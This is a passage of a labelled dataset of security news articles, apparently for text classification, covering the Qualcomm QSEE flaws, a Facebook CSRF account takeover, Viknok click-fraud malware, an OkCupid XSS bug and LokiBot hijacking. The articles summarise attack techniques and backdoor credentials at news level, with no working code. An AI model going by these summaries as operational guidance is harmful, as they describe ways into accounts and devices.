The vigilant hacker also made a video as a proof of his findings, demonstrating how the NameTests website revealed your personal data even after deleting the app.

Ceukelaire reported the flaw via Facebook's Data Abuse Bounty Program on April 22, and over a month later the social media informed him that it could take three to six months to investigate the issue.

Over two months after initially reporting the issue to Facebook, Ceukelaire noticed that NameTests has fixed the issue, and told him it had found no evidence of abuse of the exposed data by any third party.

On 27th June, Facebook contacted Ceukelaire and informed him that NameTests had fixed the issue, and at his request, donated $8,000 to the Freedom of the Press Foundation as part of its Data Abuse Bounty Program.

German company Social Sweethearts, who is behind NameTests, claims to have more than 250 million registered users and have reached more than 3 billion page views per month.

The latest incident shows that, even after the social media giant changed its conditions for apps to access data on its platform back in 2015, Facebook failed to adequately police such apps that have access to substantial amounts of personal data on its platform.
",Vulnerability
Chip and PIN payment card system vulnerable to Card cloning,https://thehackernews.com/2012/09/chip-and-pin-payment-card-system.html,"At a cryptography gathering in Leuven, Belgium, on Tuesday, Cambridge University researchers made it known that they do not like what they see in chip and pin systems. The chip and PIN system employed by most European and Asian banks is definitely more secure than the magnetic strip one, but it doesn't mean that it doesn't have its flaws.

A flaw in the EMV protocol which lays out the rules for chip-and-PIN card transactions at ATMs and point-of-sale terminals could enable persistent attackers to carry out bogus card transactions. Five Cambridge (UK) University researchers released a paper today with the gory details.

Bank cards are reportedly vulnerable to a form of cloning and researchers have pinpointed the poor implementation of cryptography methods in ATM machines as being the reason for the flaw.

The chip in an EMV card is there to execute an authentication protocol, and is itself very difficult to clone. However, the authentication process also relies on the merchant's point-of-sale kit, or an ATM, generating a completely random number to prove the uniqueness of the transaction. They discovered a flaw with the so called unpredictable number (UN), generated by software within cash point machines and other similar equipment. The researchers warned that this random number is not so random, and is even possible sometimes to predict.

""The UN (unique number) appears to consist of a 17 bit fixed value and the low 15 bits are simply a counter that is incremented every few milliseconds, cycling every three minutes,"".

""We wondered whether, if the 'unpredictable number' generated by an ATM is in fact predictable, this might create the opportunity for an attack in which a criminal with temporary access to a card (say, in a Mafia-owned shop) can compute the authorization codes needed to draw cash from that ATM at some time in the future for which the value of the UN can be predicted.""

Banks, meanwhile, are standing firmly behind EMV and chip-and-PIN and are refusing to refund customers protesting fraudulent transactions, banks are telling customers EMV is secure and they either are mistaken about a transaction, or are lying. Meanwhile, many wouldn't have the mechanisms or procedures to patch PIN entry devices in the field in the need arose.

",Vulnerability
Qualcomm Chip Flaws Let Hackers Steal Private Data From Android Devices,https://thehackernews.com/2019/11/qualcomm-android-hacking.html,"Hundreds of millions of devices, especially Android smartphones and tablets, using Qualcomm chipsets, are vulnerable to a new set of potentially serious vulnerabilities.

According to a report cybersecurity firm CheckPoint shared with The Hacker News, the flaws could allow attackers to steal sensitive data stored in a secure area that is otherwise supposed to be the most protected part of a mobile device.

The vulnerabilities reside in Qualcomm's Secure Execution Environment (QSEE), an implementation of Trusted Execution Environment (TEE) based on ARM TrustZone technology.

Also known as Qualcomm's Secure World, QSEE is a hardware-isolated secure area on the main processor that aims to protect sensitive information and provides a separate secure environment (REE) for executing Trusted Applications.

Along with other personal information, QSEE usually contains private encryption keys, passwords, credit, and debit card credentials.

Since it is based on the principle of least privilege, Normal World system modules like drivers and applications can not access protected areas unless necessary—even when they have root permissions.

""In a 4-month research project, we succeeded in reverse Qualcomm's Secure World operating system and leveraged the fuzzing technique to expose the hole,"" researchers told The Hacker News.

""We implemented a custom-made fuzzing tool, which tested trusted code on Samsung, LG, Motorola devices,"" which allowed researchers to find four vulnerabilities in trusted code implemented by Samsung, one in Motorola and one in LG.

dxhdcp2 (LVE-SMP-190005)
sec_store (SVE-2019-13952)
authnr (SVE-2019-13949)
esecomm (SVE-2019-13950)
kmota (CVE-2019-10574)
tzpr25 (acknowledged by Samsung)
prov (Motorola is working on a fix)

According to researchers, the reported vulnerabilities in the secure components of Qualcomm could allow an attacker to:

execute trusted apps in the Normal World (Android OS),
load patched trusted app into the Secure World (QSEE),
bypassing Qualcomm's Chain Of Trust,
adapt the trusted app for running on a device of another manufacturer,
and more.

""An interesting fact is that we can load trustlets from another device as well. All we need to do is replace the hash table, signature, and certificate chain in the .mdt file of the trustlet with those extracted from a device manufacturer's trustlet,"" researchers said.

In short, a vulnerability in TEE component leaves devices vulnerable to a wide range of security threats, including the leakage of protected data, device rooting, bootloader unlocking, and execution of undetectable APT.

The vulnerabilities also affect a wide range of smartphone and IoT devices that use the QSEE component to secure users' sensitive information.

Check Point Research responsibly disclosed its findings to all affected vendors, out of which Samsung, Qualcomm, and LG have already released a patch update for these QSEE vulnerabilities.
",Vulnerability
New Trojan Turns Thousands Of Linux Devices Into Proxy Servers,https://thehackernews.com/2017/01/linux-proxy-malware.html,"""Linux doesn't get viruses"" — It's a Myth.

A new Trojan has been discovered in the wild that turns Linux-based devices into proxy servers, which attackers use to protect their identity while launching cyber attacks from the hijacked systems.

Dubbed Linux.Proxy.10, the Trojan was first spotted at the end of last year by the researchers from Russian security firm Doctor Web, who later identified thousand of compromised machines by the end of January this year and the campaign is still ongoing and hunting for more Linux machines.

According to researchers, the malware itself doesn't include any exploitation module to hack into Linux machines; instead, the attackers are using other Trojans and techniques to compromise devices at the first place and then create a new backdoor login account using the username as ""mother"" and password as ""fucker.""

Once backdoored and the attacker gets the list of all successfully compromised Linux machines, and then logs into them via SSH protocol and installs the SOCKS5 proxy server using Linux.Proxy.10 malware on it.

This Linux malware is not at all sophisticated since it uses a freeware source code of the Satanic Socks Server to setup a proxy.

According to the security firm, thousands of Linux-based devices have already been infected with this new Trojan.
Besides this, the same server — belonging to the cybercriminals who distribute the Linux.Proxy.10 malware — not only contained the list of compromised devices but also hosted the control panel of a Spy-Agent computer monitoring software and a Windows malware from a known family of Trojan spyware, called BackDoor.TeamViewer.

This is not the first time when such Linux malware has been discovered.

Over a year ago, ESET security researchers uncovered a similar malware, dubbed Moose, that also had the capability to turn Linux devices into proxy servers that were then used for launching armies of fake accounts on social media networks, including Instagram, and Twitter.

Linux users and administrators are recommended to tighten SSH security by limiting or disabling remote root access via SSH, and to know if your system has already been compromised, keep a regular watch on newly generated login users.

",Malware
Beware! Cyber Criminals Spreading Click Fraud Trojan for Making Money,https://thehackernews.com/2014/05/beware-cyber-criminals-spreading-click.html,"Before Ransomware, Click fraud was one of the popular and efficient ways for cybercriminals to make money and with the explosive growth in the size of the online threats it is still making its way on the Internet.

""Click-Fraud"" is the practice of deceptively clicking on search ads with the intention of either increasing third-party website revenues or exhausting an advertiser's budget. Besides the search results, we all have seen advertisements placed in the search engine's WebPage. If the visitor clicks the Ad, the advertiser has to pay a fee to the search engine.

A problem that has arisen with pay-per-click is results in Click-Fraud. The term ""fraud"" is used because in either case, the advertiser is paying for a click without receiving any true value. Of course, the number of clicks has to be large enough in order to gain a considerable amount of money, and in order to do that an attacker can use an automated script or malicious program to simulate multiple clicks by a browser on an ad.

Such a malicious software infection used by cybercriminals to carry out Click Fraud operations has been spotted by the researchers of Symantec. Last month, the researchers noticed a recent surge of infections which they dubbed as Trojan.Viknok.

Trojan.Viknok was first observed by the security researchers in April 2013. The researchers considered the malware as a sophisticated threat because it has the ability to turn victims' computer into a botnet. To do this, the malware is capable of gaining the elevated operating system privilege in order to infect system files on multiple Windows operating systems, including the 32 and 64-bit versions of Windows XP, Vista and 7.

Then these Viknok-infected computer botnet zombies are allegedly used by cybercriminals to carry out Ad-Click Fraud and to pull more money the scammers are trying to add more victims' computers to their botnet.

""The scammers behind the current Viknok campaign have gone to a lot of effort to add more victims to their Adclick botnet, helping them make more money in the process,"" states the blog post.

In the last six months, there has been an increase in the use of this threat by cyber criminals and in many cases, the victims infected with the Trojan report hearing audio clips through their computers' speakers.

HOW THE VIKNOK INFECTS COMPUTERS
Viknok infects the victims' computers by injecting its payload into DLL files, but modifying the DLL files in the latest operating systems is not an easy task. In this case, cyber criminals make use of a number of methods to infect files, such as rpcss.dll, a library that runs every time the Windows is started. So, if an attacker is able to infect the rpcss.dll file, the malicious code is executed every time Windows starts.

There are a number of methods to infect the rpcss.dll file, including:
Using SeTakeOwnershipPrivilege function to take ownership of system files.
Taking advantage of Windows' ""Dynamic-Link Library Search Order"" to run a malicious DLL inside the System Preparation Tool process.
Using the Run a legacy CPL elevated tool to run a DLL with elevated privileges.
The most powerful technique is by exploiting the Microsoft Windows Kernel 'Win32k.sys' local Privilege Escalation Vulnerability, CVE-2013-3660 that allows to run the malicious code in kernel mode.
Once installed on the computer, the Viknok uses one or more of the above techniques to inject the rpcss.dll file in victims' computers that allow the malicious code to execute every time the operating system starts. Once rpscc.dll file is infected, it loads the core of the malware, which is usually stored in the %System% folder in an encrypted file.
""In many cases, the infection process is completely stealthy; the threat does not show any warning to the user. The malware is also difficult to detect since it does not show any suspicious running process, nor does it infect any of the standard load points,"" Symantec researchers note in their blog post.
The malware shows the User Account Control (UAC) prompt to the victim in order to gain the elevated privileges, and if user doesn't grant the permission, the infection will fail. But, the UAC prompt masquerade itself as a part of normal system activity, so users might give the Trojan permission without giving it too much thought.

Once the permission is granted, the attacker can remotely send the infected systems commands to load various websites. The websites offer car insurance, travel tickets, domain name registration, and many other services.

The count of Viknok infections has increased over the past few months. From January to April, the number of unique infections has increased from over 10,000 to 22,000 and over 16,500 unique Viknok infections have been noticed in the first week of May alone. The majority of the victims are located in the United States.

Stopping click-fraud is proving as difficult as stopping e-mail spam; and click-fraud artists may be more highly motivated. It is a good idea for users to practice safe email habits, such deleting any suspicious mail received without opening or viewing them, as well as refraining from opening any suspicious attachments or Links.

",Malware
Flappy Bird app clones send text messages to Premium Number,https://thehackernews.com/2014/02/Flappy-Bird-app-download-android-iphone.html,"Flappy Bird, developed by a 29-year old, Dong Nguyen, was one of the top free gaming apps of the last month, but now officially unavailable for users.

After achieving income of $50,000 per day in advertising revenue, Dong Nguyen pulled out Flappy Bird gaming app from all the web app stores and now it's permanently dead.

""Flappy Bird was designed to play in a few minutes when you are relaxed,"" says Dong Nguyen, in an exclusive interview with Forbes. ""But it happened to become an addictive product. I think it has become a problem. To solve that problem, it's best to take down Flappy Bird. It's gone forever.""

Till now the reason is not clear from Dong's statement that why exactly he quit the app, but it's clear that his decision have given opportunity for hackers for creating a malicious version of this app and the app's popularity will help them to gain success in spreading Smartphone malware to mass and hence, the malicious apps are available in play stores with undesirable side effects.

After his single tweet, ""I just cannot take this anymore."" The users began downloading Flappy bird app from their play stores, without bothering it's the real version or not and after he pulled off the app from the play stores, hundreds of phones with Flappy Bird installed appeared for sale on eBay, racking up huge bids, as much as $100,000.

Sophos researchers examined the app available at non-official stores and found it malicious that sends SMS to premium numbers for continuing with the app and also get access to other mobile services. Rather the real version of the app was available for free.

The fake Flappy Bird app doesn't stop even after you exit the app as it needs to be killed from the task manager of your device. The fake app has ability to access your SD card with read and write permission, send SMS, receive and read without your intervention and it can also add and remove shortcuts without informing you, reported by Sophos.

Another fake Flappy Bird app was discovered by Trend Micro that appeared in unofficial stores in Russia and Vietnam. These apps mimic the behavior of the real app, but have some hidden features including secretly connecting to ""Command and Control"" server via Google Cloud Messaging for further instructions.
The apps seek for the personal data of the phone including phone number, carrier and email addresses together with the Gmail account registered with the phone.

Since the fake app is not available in Google play store, so Android gives a warning. Also, Android phones have a default setting to not allow ""off-market"" apps. Leaving this option alone will protect your devices from Flappy Bird malware.

Though it is not guaranteed that app available on official store are secure, but someone has kept an eye on it, and appropriate action will be taken automatically whenever found malicious. But if you install any third party app, then you are whole sole maintainer of the app and you are running it at your own risk.

If it is must for you to install third party apps, you must have a good anti-virus installed on your Smartphone which can inform you about any malicious activity being performed on your phone and keep an eye on your phone bills on a regular basis.

The users who were addicted to the Flappy Bird Game and can't resist themselves playing it in their free times or to relax themselves, are supposed to accept the reality that it has been dead. Now it's time to move on!

",Malware
World's largest Bitcoin exchange Mt. Gox Shuts Down; CEO quits Bitcoin Foundation,https://thehackernews.com/2014/02/worlds-largest-bitcoin-exchange-mt-gox.html,"World's largest Bitcoin exchange Mt. Gox has shut down its website, withdrawal system, deleted its Twitter feed and halted all trading systems after it detected ""unusual activity.""

The Bitcoin Foundation, a Bitcoin advocacy group, confirmed that Mark Karpeles, the chief executive of Tokyo-based Mt. Gox bitcoin exchange has resigned from the board of the Bitcoin Foundation. This comes just days after the exchange gave an update regarding the technical issues.

Last week, Mt. Gox said a technical glitch that had forced the exchange to suspend bitcoin withdrawals for a week. They discovered the transaction falsification glitch and same flaw alleged to have been used to steal all of the bitcoins worth about $2.7 million from Silk Road 2.0.

Later, some sources close to the matter have confirmed that more than 700,000 bitcoins are indeed missing from MtGox records, in a 'slow-leak' hack that went on for years. The repeated technical glitches over the past several months caused the Shut down of the biggest Bitcoin Industry.

Bitcoin companies 'Coinbase, Blockchain.info, Circle, Kraken, Bitstamp, and BTC China' have issued a joint statement regarding MtGox.
""This tragic violation of the trust of users of Mt.Gox was the result of one company's abhorrent actions and does not reflect the resilience or value of bitcoin and the digital currency industry. There are hundreds of trustworthy and responsible companies involved in bitcoin. These companies will continue to build the future of money by making bitcoin more secure and easy to use for consumers and merchants."" ""We strongly believe in transparent, thoughtful, and comprehensive consumer protection measures. We pledge to lead the way.""
MtGox has also deleted its entire Twitter feed, which is nearly unprecedented. Late last week, Bitcoin prices dropped to the lowest they have been since June, by $300 and currently, the value on MtGox is swinging between $300 and $500.

",Vulnerability
How to Hack Facebook Accounts? Just Ask Your Targets to Open a Link,https://thehackernews.com/2019/02/hack-facebook-account-password.html,"It's 2019, and just clicking on a specially crafted URL would have allowed an attacker to hack your Facebook account without any further interaction.

A security researcher discovered a critical cross-site request forgery (CSRF) vulnerability in the most popular social media platform that could have been allowed attackers to hijack Facebook accounts by simply tricking the targeted users into clicking on a link.

The researcher, who goes by the online alias ""Samm0uda,"" discovered the vulnerability after he spotted a flawed endpoint (facebook.com/comet/dialog_DONOTUSE/) that could have been exploited to bypass CSRF protections and takeover victim's account.

""This is possible because of a vulnerable endpoint which takes another given Facebook endpoint selected by the attacker along with the parameters and makes a POST request to that endpoint after adding the fb_dtsg parameter,"" the researcher says on his blog.

""Also this endpoint is located under the main domain www.facebook.com which makes it easier for the attacker to trick his victims to visit the URL.""

All the attacker needs to do is trick the victims into clicking a specially crafted Facebook URL, as mentioned on his blog, designed to perform various actions like posting anything on their timeline, change or delete their profile picture, and even trick users into deleting their entire Facebook accounts.

1-Click Exploit to Completely Take Over Facebook Accounts

Taking over full control of the victims' accounts or tricking them into deleting their entire Facebook account requires some extra efforts from the attacker's side, as victims need to enter their password before the account is deleted.

To do this, the researcher said it would require the victims to visit two separate URLs, one to add the email or phone number and one to confirm it.

It's ""because the 'normal' endpoints used to add emails or phone numbers don't have a 'next' parameter to redirect the user after a successful request,"" the researcher says.

However, the researcher still made the full account takeover possible with a single URL by finding the endpoints where the 'next' parameter is present and authorizing a malicious app on behalf of the victims and obtaining their Facebook access token.

With access to the victims' authentication tokens, the exploit automatically adds an attacker-controlled email address to their account, allowing the attacker to fully take over accounts by simply resetting their passwords and locking the legitimate users out of their Facebook accounts.

Though the full Facebook account takeover hack involved multiple steps, the researcher said the complete one-click exploit would have allowed any malicious user to hijack your Facebook account ""in the blink of an eye.""

Such account takeover attacks can be mitigated if you have enabled two-factor authentication for your Facebook account, preventing hackers from logging into your accounts until or unless they verify the 6-digit passcode sent to your mobile device.

However, any mitigation could not prevent hackers from performing some actions on your behalf leveraging this vulnerability, like changing or deleting your profile pictures or albums or posting anything on your timeline.

Samm0uda reported the vulnerability with the details of his exploit to Facebook on January 26. The social media giant acknowledged the issue and addressed it on January 31, rewarding the researcher with $25,000 as part of Facebook's bug bounty program.

",Vulnerability
"""Certifi-Gate"" Android Vulnerability Lets Hackers Take Complete Control of Your Device",https://thehackernews.com/2015/08/certifi-gate-android-vulnerability.html,"Android users are busy fighting with Stagefright vulnerability while the popular mobile operating system faces another critical security vulnerability, dubbed as ""Certifi-Gate"".

Millions of Android devices could be hacked exploiting a plugin that comes pre-installed on your Android devices by the manufacturers.

Most of the Android device manufacturers pre-install 'Remote Support Tool (mRST)' plugin onto their phones that are intended to help users, such as RSupport or TeamViewer.

But, a critical Certifi-Gate security vulnerability in this mRTS plugin allows malicious applications to gain illegitimate privileged access rights, even if your device is not rooted.

""Certifi-Gate"" Android security vulnerability

According to Israeli researchers at Check Point, Ohad Bobrov and Avi Bashan, Certifi-Gate Android vulnerability lies in the way Google's partners (manufacturers) use certificates to sign remote support tools.

Remote support tools often have root level access to Android devices, even if your device is not rooted. Thus any installed app can use Certifi-Gate vulnerability to gain unrestricted device access, including:
screen scraping
keylogging
exfiltrating private information
installing malware apps, and more

The flaw affects thousands of millions of Android devices, and users cannot uninstall the vulnerable plugin from the device because it is part of the core system…

...Ironic, huh?
""An attacker can exploit mRATs to exfiltrate sensitive information from devices such as location, contacts, photos, screen capture, and even recordings of nearby sounds."" Researchers explained in the published paper.
""While analyzing and classifying mRATs, our research team found some apps share common traits with mRST. Known mRAT players include HackingTeam, mSpy, and SpyBubble.""

Video Demonstration:
Android Smartphones and tablets running the latest version of Android (Lollipop) are also at risk.





Am I vulnerable to Certifi-Gate vulnerability?

Checkpoint released an app that detects if your Android device is vulnerable to the Certifi-Gate exploits and also reveals if any attacks have already been launched on the user's phone.

The annoying news is that the vulnerability may not go away anytime soon, because Android phone manufacturer companies are notoriously slow in releasing patches to users.

",Malware
Oracle Patches Java Zero Day Vulnerability,https://thehackernews.com/2013/01/oracle-patches-java-zero-day.html,"Oracle delivered an unusual emergency patch to Java's critical Zero Day vulnerability on Sunday to fix a malicious bug that allowed hackers access to users web browsers. Exploits for the previously undisclosed flaw were being hosted in a number of exploit kits and attacks have already been seen in the wild dropping ransomware and assorted other malware.

Security Alert CVE-2013-0422 include two vulnerabilities that are remotely executable. Oracle confirmed that the flaws were only present in Java 7 versions and did not impact Java on servers, Java desktop applications, or embedded Java.


Java is used in 3 billion machines, about 2 billion of which are desktop or laptop computers. Similarly, Back in August last year, Oracle issued an urgent fix to seal a dangerous security flaw within its Java software that's left thousands of computers wide open to malicious attacks from hackers.

Lamar Bailey, director of security research and development for nCircle said, ""We're just two weeks into 2013 and already we've seen a surge of critical vulnerabilities and emergency patches. Oracle just added 86 new fixes to overloaded IT teams already struggling to keep up with emergency patches for Java, Internet Explorer and Ruby on Rails.

No matter how far behind IT teams are, they can't afford to ignore this massive Oracle patch. Oracle Mobile Server has two CVEs that have a CVSS score of ten, that's as bad as it gets. There are also two MySQL vulnerabilities that can be exploited remotely. All of these should be patched as soon as possible.""

January Patch include 86 security updates across all major product lines including Oracle Database and MySQL Server. Patches for a number of Oracle applications were released Tuesday, including nine for Oracle E-Business Suite (7 of which are remotely exploitable), 12 in Oracle PeopleSoft (7 remotely exploitable), 10 in Oracle Siebel CRM (5 remotely exploitable), and one each in Oracle Supply Chain Products Suite and Oracle JD Edwards Products.

",Vulnerability
"REvil Used 0-Day in Kaseya Ransomware Attack, Demands $70 Million Ransom",https://thehackernews.com/2021/07/revil-used-0-day-in-kaseya-ransomware.html,"Amidst the massive supply-chain ransomware attack that triggered an infection chain compromising thousands of businesses on Friday, new details have emerged about how the notorious Russia-linked REvil cybercrime gang may have pulled off the unprecedented hack.
The Dutch Institute for Vulnerability Disclosure (DIVD) on Sunday revealed it had alerted Kaseya to a number of zero-day vulnerabilities in its VSA software (CVE-2021-30116) that it said were being exploited as a conduit to deploy ransomware. The non-profit entity said the company was in the process of resolving the issues as part of a coordinated vulnerability disclosure when the July 2 attacks took place.
More specifics about the flaws were not shared, but DIVD chair Victor Gevers hinted that the zero-days are trivial to exploit. At least 1,000 businesses are said to have been affected by the attacks, with victims identified in no less than 17 countries, including the U.K., South Africa, Canada, Argentina, Mexico, Indonesia, New Zealand, and Kenya, according to ESET.
Kaseya VSA is a cloud-based IT management and remote monitoring solution for managed service providers (MSPs), offering a centralized console to monitor and manage endpoints, automate IT processes, deploy security patches, and control access via two-factor authentication.
REvil Demands $70 Million Ransom
Active since April 2019, REvil (aka Sodinokibi) is best known for extorting $11 million from the meat-processor JBS early last month, with the ransomware-as-a-service business accounting for about 4.6% of attacks on the public and private sectors in the first quarter of 2021.
The group is now asking for a record $70 million ransom payment to publish a universal decryptor that can unlock all systems that have been crippled by file-encrypting ransomware.
""On Friday (02.07.2021) we launched an attack on MSP providers. More than a million systems were infected. If anyone wants to negotiate about universal decryptor – our price is 70,000,000$ in BTC and we will publish publicly decryptor that decrypts files of all victims, so everyone will be able to recover from attack in less than an hour,"" the REvil group posted on their dark web data leak site.
Kaseya, which has enlisted the help of FireEye to help with its investigation into the incident, said it intends to ""bring our SaaS data centers back online on a one-by-one basis starting with our E.U., U.K., and Asia-Pacific data centers followed by our North American data centers.""
On-premises VSA servers will require the installation of a patch prior to a restart, the company noted, adding it's in the process of readying the fix for release on July 5.
CISA Issues Advisory
The development has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to issue an advisory, urging customers to download the Compromise Detection Tool that Kaseya has made available to identify any indicators of compromise (IoC), enable multi-factor authentication, limit communication with remote monitoring and management (RMM) capabilities to known IP address pairs, and place administrative interfaces of RMM behind a virtual private network (VPN) or a firewall on a dedicated administrative network.
""Less than ten organizations [across our customer base] appear to have been affected, and the impact appears to have been restricted to systems running the Kaseya software,"" Barry Hensley, Chief Threat Intelligence Officer at Secureworks, told The Hacker News via email.
""We have not seen evidence of the threat actors attempting to move laterally or propagate the ransomware through compromised networks. That means that organizations with wide Kaseya VSA deployments are likely to be significantly more affected than those that only run it on one or two servers.""
By compromising a software supplier to target MSPs, who, in turn, provide infrastructure or device-centric maintenance and support to other small and medium businesses, the development once again underscores the importance of securing the software supply chain, while also highlighting how hostile agents continue to advance their financial motives by combining the twin threats of supply chain attacks and ransomware to strike hundreds of victims at once.
""MSPs are high-value targets — they have large attack surfaces, making them juicy targets to cybercriminals,"" said Kevin Reed, chief information security officer at Acronis. ""One MSP can manage IT for dozens to a hundred companies: instead of compromising 100 different companies, the criminals only need to hack one MSP to get access to them all.""

",Malware
Hacking Gmail accounts with password reset system vulnerability,https://thehackernews.com/2013/11/hacking-Gmail-accounts-password-hack-vulnerability.html,"Oren Hafif, a security researcher has discovered a critical vulnerability in the Password reset process of Google account that allows an attacker to hijack any account.

He managed to trick Google users into handing over their passwords via a simple spear-phishing attack by leveraging a number of flaws i.e. Cross-site request forgery (CSRF), and cross-site scripting (XSS), and a flow bypass.
In a proof of concept video demonstration, the attacker sends his victim a fake ""Confirm account ownership"" email, claiming to come from Google.

The link mention in the mail instructs the recipient to confirm the ownership of the account and urged user to change their password.

The link from the email apparently points to a HTTPS google.com URL, but it actually leads the victim to the attacker's website because of CSRF attack with a customized email address.

The Google HTTPS page will will ask the victim to confirm the ownership by entering his last password and then will ask to reset your password.




But in actuality the hacker has grabbed your new password and cookie information using an XSS attack at this step.

Video demonstration:

Hafif informed the Google Security engineers with the details of this serious security vulnerability and Google has now addressed the issues. Google has rewarded Mr. Hafif with $5,100 under their Bug Bounty Program.

",Vulnerability
POODLE SSL Vulnerability Now Attacking TLS Security Protocol,https://thehackernews.com/2014/12/SSL-Poodle-TSL-attack.html,"POODLE, a critical SSL flaw discovered in October that was patched and fixed by webmasters around the world after Google alerted software and hardware vendors, has again made its way and this time the vulnerability affects implementations of the newer Transport Layer Security (TLS) protocol.

Yes, the serious POODLE vulnerability that affected the most widely used web encryption standard Secure Sockets Layer (SSL) 3.0 has once again returned and is likely to affect some of the most popular web sites in the world — including those owned or operated by Bank of America, the US Department of Veteran's Affairs, and Accenture.

POODLE (Padding Oracle On Downgraded Legacy Encryption) flaw, disclosed two months ago by Google security team, allowed attackers to perform Man-in-the-Middle (MitM) attack in order to intercept traffic between a user's browser and an HTTPS website to decrypt sensitive information, like the user's authentication cookies.

Now, the dangerous flaw has turned out to some versions of TLS — the seemingly secure successor of SSL. The new vulnerability (CVE-2014-8730) affects TLS version 1.2 which fails to handle padding, which was the target of POODLE. Researchers at security firm Qualys says, ""some TLS implementations omit to check the padding structure after decryption.""
""The impact of this problem is similar to that of POODLE, with the attack being slightly easier to execute–no need to downgrade modern clients down to SSL 3 first, TLS 1.2 will do just fine,"" Ivan Ristic, Qualys's director of application security research, wrote in a blog post titled POODLE bites TLS.
""The main target are browsers, because the attacker must inject malicious JavaScript to initiate the attack. A successful attack will use about 256 requests to uncover one cookie character, or only 4096 requests for a 16-character cookie. This makes the attack quite practical.""
Qualys has provided a free test, SSL Server Test, that showed some of the Internet's leading websites including Bank of America, VMware, the US Department of Veteran's Affairs, and business consultancy Accenture, are affected by the bug. The vulnerability is very serious as the most recent SSL Pulse scan showed that about 10 percent of the servers are vulnerable to the POODLE attack through TLS.

Till now, load balancers and similar devices which are used to handle the TLS connections sold by two different manufacturers, F5 Networks and A10 Networks, are found vulnerable to the attack. Basically, the recent versions of TLS calls for the encryption padding to be closely checked for Oracle attacks, which was skipped by both the companies during implementation, which makes them vulnerable to POODLE attacks.

F5 Networks agrees that their F5 kit is vulnerable to the attack, and believes that A10 should also be releasing updates for patches in coming hours. ""Everything less than TLS 1.2 with an AEAD cipher suite is broken"", Google's Adam Langley notes. ""I'm not completely sure that I've found every affected vendor but, now that this issue is public, any other affected products should quickly come to light.""

Website administrators who want to check if their servers or load balancers used in front of their servers are vulnerable to this newly discovered POODLE attack through TLS can use the Qualys SSL Labs server test, which has been updated on its website in order to detect the problem.

",Vulnerability
OkCupid Dating App Flaws Could've Let Hackers Read Your Private Messages,https://thehackernews.com/2020/07/hacking-okcupid-account.html,"Cybersecurity researchers today disclosed several security issues in popular online dating platform OkCupid that could potentially let attackers remotely spy on users' private information or perform malicious actions on behalf of the targeted accounts.

According to a report shared with The Hacker News, researchers from Check Point found that the flaws in OkCupid's Android and web applications could allow the theft of users' authentication tokens, users IDs, and other sensitive information such as email addresses, preferences, sexual orientation, and other private data.

After Check Point researchers responsibly shared their findings with OkCupid, the Match Group-owned company fixed the issues, stating, ""not a single user was impacted by the potential vulnerability.""

The Chain of Flaws

The flaws were identified as part of reverse engineering of OkCupid's Android app version 40.3.1, which was released on April 29 earlier this year. Since then, there have been 15 updates to the app with the most recent version (43.3.2) hitting Google Play Store yesterday.

Check Point said OkCupid's use of deep links could enable a bad actor to send a custom link defined in the app's manifest file to open a browser window with JavaScript enabled. Any such request was found to return the users' cookies.


The researchers also uncovered a separate flaw in OkCupid's settings functionality that makes it vulnerable to an XSS attack by injecting malicious JavaScript code using the ""section"" parameter as follows: ""https://www.okcupid.com/settings?section=value""

The aforementioned XSS attack can be augmented further by loading a JavaScript payload from an attacker-controlled server to steal authentication tokens, profile information, and user preferences, and transmit the amassed data back to the server.

""Users' cookies are sent to the [OkCupid] server since the XSS payload is executed in the context of the application's WebView,"" the researchers said, outlining their method to capture the token information. ""The server responds with a vast JSON containing the users' id and the authentication token.""

Once in possession of the user ID and the token, an adversary can send a request to the ""https://www.OkCupid.com:443/graphql"" endpoint to fetch all the information associated with the victim's profile (email address, sexual orientation, height, family status, and other personal preferences) as well as carry out actions on behalf of the compromised individual, such as send messages and change profile data.


However, a full account hijack is not possible as the cookies are protected with HTTPOnly, mitigating the risk of a client-side script accessing the protected cookie.

Lastly, an oversight in the Cross-Origin Resource Sharing (CORS) policy of the API server could have permitted an attacker to craft requests from any origin (e.g. ""https://okcupidmeethehacker.com"") in order to get hold of the user ID and authentication token, and subsequently, use that information to extract profile details and messages using the API's ""profile"" and ""messages"" endpoints.

Remember Ashley Madison Breach and Blackmail Threats?

Although the vulnerabilities were not exploited in the wild, the episode is yet another reminder of how bad actors could have taken advantage of the flaws to threaten victims with black and extortion.


After Ashley Madison, an adult dating service catering to married individuals seeking partners for affairs was hacked in 2015 and information about its 32 million users was posted to the dark web, it led to a rise in phishing and sextortion campaigns, with blackmailers reportedly sending personalized emails to the users, threatening to reveal their membership to friends and family unless they pay money.

""The dire need for privacy and data security becomes far more crucial when so much private and intimate information is being stored, managed and analyzed in an app,"" the researchers concluded. ""The app and platform was created to bring people together, but of course where people go, criminals will follow, looking for easy pickings.""

",Data_Breaches
"Most LokiBot samples in the wild are ""hijacked"" versions of the original malware",https://thehackernews.com/2018/07/lokibot-infostealer-malware.html,"Hacker himself got hacked.

It turns out that most samples of the LokiBot malware being distributed in the wild are modified versions of the original sample, a security researcher has learned.

Targeting users since 2015, LokiBot is a password and cryptocoin-wallet stealer that can harvest credentials from a variety of popular web browsers, FTP, poker and email clients, as well as IT administration tools such as PuTTY.

The original LokiBot malware was developed and sold by online alias ""lokistov,"" a.k.a. ""Carter,"" on multiple underground hacking forums for up to $300, but later some other hackers on the dark web also started selling same malware for a lesser price (as low as $80).

It was believed that the source code for LokiBot was leaked which might have allowed others to compile their own versions of the stealer.

However, a researcher who goes by alias ""d00rt"" on Twitter found that someone made little changes (patching) in the original LokiBot sample, without having access to its source code, which let other hackers define their own custom domains for receiving the stolen data.

Hackers Are Actively Spreading ""Hijacked"" Versions of LokiBot
The researcher found that the C&C server location of the malware, where the stolen data should be sent, has been stored at five places in the program—four of them are encrypted using Triple DES algorithm and one using a simple XOR cipher.

The malware has a function, called ""Decrypt3DESstring,"" that it uses to decrypt all the encrypted strings and get the URL of the command-and-control server.

The researcher analyzed the new LokiBot samples and compared them with the old original sample, and found that Decrypt3DESstring function in new samples has been modified in a way that it always return value from the XOR-protected string, instead of Triple DES strings.
""The 3DES protected URLs are always the same in the all of the LokiBot samples of this [new] version,"" the researcher said.
""In addition, those URLs are never used. Decrypt3DESstring returns a 3DES decrypted buffer. This should be the ideal behavior of this function, but as was described before, each time Decrypt3DESstring is called, it returns a decrypted url with XOR or encrypted url with XOR.""
These changes allowed anyone with a new sample of LokiBot to edit the program, using a simple HEX editor, and add their own custom URLs for receiving the stolen data.

